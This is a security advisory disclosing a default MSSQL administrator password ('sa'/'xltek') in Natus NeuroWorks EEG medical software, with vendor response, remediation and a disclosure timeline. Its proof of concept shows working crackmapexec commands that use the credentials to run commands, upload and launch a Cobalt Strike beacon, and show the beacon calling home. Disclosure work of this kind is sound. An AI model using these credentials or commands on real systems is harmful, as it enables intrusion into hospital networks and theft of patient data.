CVE-2023-47800

Trustwave SpiderLabs Security Advisory TWSL2023-006: Default MSSQL Database Password in Natus NeuroWorks EEG Software Published: 11/07/2023 Version: 1.0 Vendor: Natus https://natus.com/products-services/natus-neuroworks-eeg-software Product: NeuroWorks EEG Software Version affected: Prior to 8.4 GMA3 Product description: The Natus NeuroWorks platform simplifies the process of collecting, monitoring, trending and managing data for routine EEG testing, ambulatory EEG, long-term monitoring, ICU monitoring, and research studies. NeuroWorks systems are scalable to meet the needs of private practice clinics, hospitals, large teaching facilities and EEG service providers. Natus NeuroWorks is a cutting-edge, single solution for EEG, LTM, ICU, Sleep, and Research Studies, exhibiting an advanced software for clinical excellence. The Microsoft SQL-based NeuroWorks database is a powerful tool that simplifies the management of patient, study and laboratory data. Filter studies by date, status, diagnosis, or use any built-in editable field to create custom filters for your unique needs. Track outcomes and filter by statistical indices that are calculated in the reports. The distributed database automatically updates system settings across the network to ensure that all workstations have current lab settings. Finding 1: Default Password for Natus NeuroWorks EEG Software MSSQL Database *****Credit: John Jackson of Trustwave Natus NeuroWorks EEG Software utilizes their own custom MSSQL configuration and database for the management of medical research studies connected to the testing and monitoring software implemented via the Natus NeuroWorks platform. By default, the MSSQL service utilizes the administrative username ‘sa’ coupled with the password 'xltek’. An attacker can utilize the default credentials to access stored sensitive data or perform administrative functions and MSSQL queries. In addition, an attacker on the local network could potentionally leverage the credentials to access the file system of the server and perform read, write, and execution functions on the disk. Natus recommends against changing the default password as it will disable MigrateDB’s ability to authenticate silently in instances of new virtual database creation. Proof of Concept/Summary: While the instance of default credentials is properly documented within the “XL Security Site Administrator Reference” guide, Natus specifically recommends against changing the default credentials. The document specifically states: "Each instance of SQL Server also has a system administrator username (‘sa’). The default password is 'xltek’; however it can be changed for each instance of SQL Server. We strongly recommend using the default password for local SQL Server instances". Natus recommends against changing the password, because of their MigrateDB function. The document goes on to say: "MigrateDB is also called silently when a new ‘virtual database’ is created through Natus Database - XLDB. In this case, MigrateDB will not prompt the user for the ‘sa’ password. If the password for ‘sa’ has been altered on the local machine from its default, the creation of a new virtual server will fail". They do however recommend a workaround, which is to change the password back to xltek while performing new virtual database creation, and then once again change back to the default. ## Running the command ‘whoami’ using default credentials └─$ crackmapexec mssql SERVERNAME -u ‘sa’ -p ‘xltek’ --local-auth -x ‘whoami’ MSSQL SERVERNAME 1433 SERVERNAME [*] Windows 10.0 Build 14393 (name:SERVERNAME) (domain:SERVERNAME) MSSQL SERVERNAME 1433 SERVERNAME [-] SERVERNAME\sa:xltek table users has no column named pillaged_from_computerid MSSQL SERVERNAME 1433 SERVERNAME [+] Executed command via mssqlexec MSSQL SERVERNAME 1433 SERVERNAME -------------------------------------------------------------------------------- MSSQL SERVERNAME 1433 SERVERNAME nt authority\network service ## Writing a cobalt strike beacon to a local windows directory └─$ crackmapexec mssql SERVERNAME -u ‘sa’ -p ‘xltek’ --local-auth --put-file /home/mrhacking/Desktop/cobaltstrike/payloads/armsvc.exe C:\\Temp\\Events\\armsvc.exe MSSQL SERVERNAME 1433 SERVERNAME [*] Windows 10.0 Build 14393 (name:SERVERNAME) (domain:SERVERNAME) MSSQL SERVERNAME 1433 SERVERNAME [-] SERVERNAME\sa:xltek table users has no column named pillaged_from_computerid MSSQL SERVERNAME 1433 SERVERNAME [*] Copy /home/mrhacking/Desktop/cobaltstrike/payloads/armsvc.exe to C:\Temp\Events\armsvc.exe MSSQL SERVERNAME 1433 SERVERNAME [*] Size is 409088 bytes MSSQL SERVERNAME 1433 SERVERNAME [+] File has been uploaded on the remote machine └─$ crackmapexec mssql SERVERNAME -u ‘sa’ -p ‘xltek’ --local-auth -x ‘dir C:\Temp\Events\’ MSSQL SERVERNAME 1433 SERVERNAME [*] Windows 10.0 Build 14393 (name:SERVERNAME) (domain:SERVERNAME) MSSQL SERVERNAME 1433 SERVERNAME [-] SERVERNAME\sa:xltek table users has no column named pillaged_from_computerid MSSQL SERVERNAME 1433 SERVERNAME [+] Executed command via mssqlexec MSSQL SERVERNAME 1433 SERVERNAME -------------------------------------------------------------------------------- MSSQL SERVERNAME 1433 SERVERNAME Volume in drive C is Windows MSSQL SERVERNAME 1433 SERVERNAME Volume Serial Number is A050-B8DA MSSQL SERVERNAME 1433 SERVERNAME Directory of C:\Temp\Events MSSQL SERVERNAME 1433 SERVERNAME 06/15/2023 02:54 PM

. MSSQL SERVERNAME 1433 SERVERNAME 06/15/2023 02:54 PM

… MSSQL SERVERNAME 1433 SERVERNAME 06/23/2023 02:31 PM 409,088 armsvc.exe MSSQL SERVERNAME 1433 SERVERNAME 1 File(s) 409,088 bytes MSSQL SERVERNAME 1433 SERVERNAME 2 Dir(s) 34,903,302,144 bytes free ## Triggering the cobalt strike beacon └─$ crackmapexec mssql SERVERNAME -u ‘sa’ -p ‘xltek’ --local-auth -x ‘cmd.exe /c start C:\Temp\Events\armsvc.exe’ MSSQL SERVERNAME 1433 SERVERNAME [*] Windows 10.0 Build 14393 (name:SERVERNAME) (domain:SERVERNAME) MSSQL SERVERNAME 1433 SERVERNAME [-] SERVERNAME\sa:xltek table users has no column named pillaged_from_computerid MSSQL SERVERNAME 1433 SERVERNAME [+] Executed command via mssqlexec MSSQL SERVERNAME 1433 SERVERNAME None ## Beacon command execution proof beacon> sleep 0 [*] Tasked beacon to become interactive [+] host called home, sent: 16 bytes beacon> getuid [*] Tasked beacon to get userid [+] host called home, sent: 8 bytes [*] You are NT AUTHORITY\NETWORK SERVICE beacon> run systeminfo [*] Tasked beacon to run: systeminfo [+] host called home, sent: 28 bytes [+] received output: Host Name: SERVERNAME OS Name: Microsoft Windows 10 Enterprise 2016 LTSB OS Version: 10.0.14393 N/A Build 14393 OS Manufacturer: Microsoft Corporation OS Configuration: Member Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: XXXXX-XXXXX-XXXXX-XXXXX Original Install Date: 6/6/2017, 5:39:30 PM System Boot Time: 6/17/2023, 2:07:18 PM System Manufacturer: Dell Inc. System Model: OptiPlex 5050 System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 94 Stepping 3 GenuineIntel ~3312 Mhz BIOS Version: Dell Inc. 1.11.1, 11/29/2018 Windows Directory: C:\windows System Directory: C:\windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC-05:00) Eastern Time (US & Canada) Total Physical Memory: 8,051 MB Available Physical Memory: 5,344 MB Virtual Memory: Max Size: 16,243 MB Virtual Memory: Available: 13,210 MB Virtual Memory: In Use: 3,033 MB Page File Location(s): C:\pagefile.sys Domain: REDACTED FOR PRIVACY Logon Server: N/A Hotfix(s): 6 Hotfix(s) Installed. [01]: KB4013418 [02]: KB4033631 [03]: KB4049411 [04]: KB4103729 [05]: KB4132216 [06]: KB4103720 Network Card(s): 1 NIC(s) Installed. [01]: Intel® Ethernet Connection (5) I219-V Connection Name: LAN DHCP Enabled: Yes DHCP Server: X.X.X.X IP address(es) [01]: X.X.X.X Hyper-V Requirements: VM Monitor Mode Extensions: Yes Virtualization Enabled In Firmware: Yes Second Level Address Translation: Yes Data Execution Prevention Available: Yes Vendor Response: The vendor has revised the Administrator Reference document by discontinuing the endorsement of default password usage. Instead, the vendor strongly recommends that all users change default SQL credentials. This requires to update the software to leverage the Credentials Cache feature, introduced in version 8.4 GMA3. The technical service team will provide the revised documentation to customers on request, and in the future, it will be integrated into the Neuroworks software installation package. The vendor has additionally released a security advisory regarding this threat. You can access the security bulletin at this link: https://natus.bynder.com/m/7cd3bcca88e446d4/original/NeuroWorks-SleepWorks-Product-Security-Bulletin.pdf Remediation Steps: Upgrade to GMA3 version 8.4 or a higher version to enable the credential cache feature and update the default SQL credentials. Revision History: 06/27/2023 - Trustwave disclosed vulnerability to vendor 07/07/2023 - Vendor provides Trustwave with preliminary version of the updated documentation 07/18/2023 - Vendor has provided Trustwave with remediation plan 10/20/2023 - Vendor publishes security bulletin 11/07/2023 - Advisory published References 1. https://natus.bynder.com/m/7cd3bcca88e446d4/original/NeuroWorks-SleepWorks-Product-Security-Bulletin.pdf About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs® is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave’s products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided “as is” without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.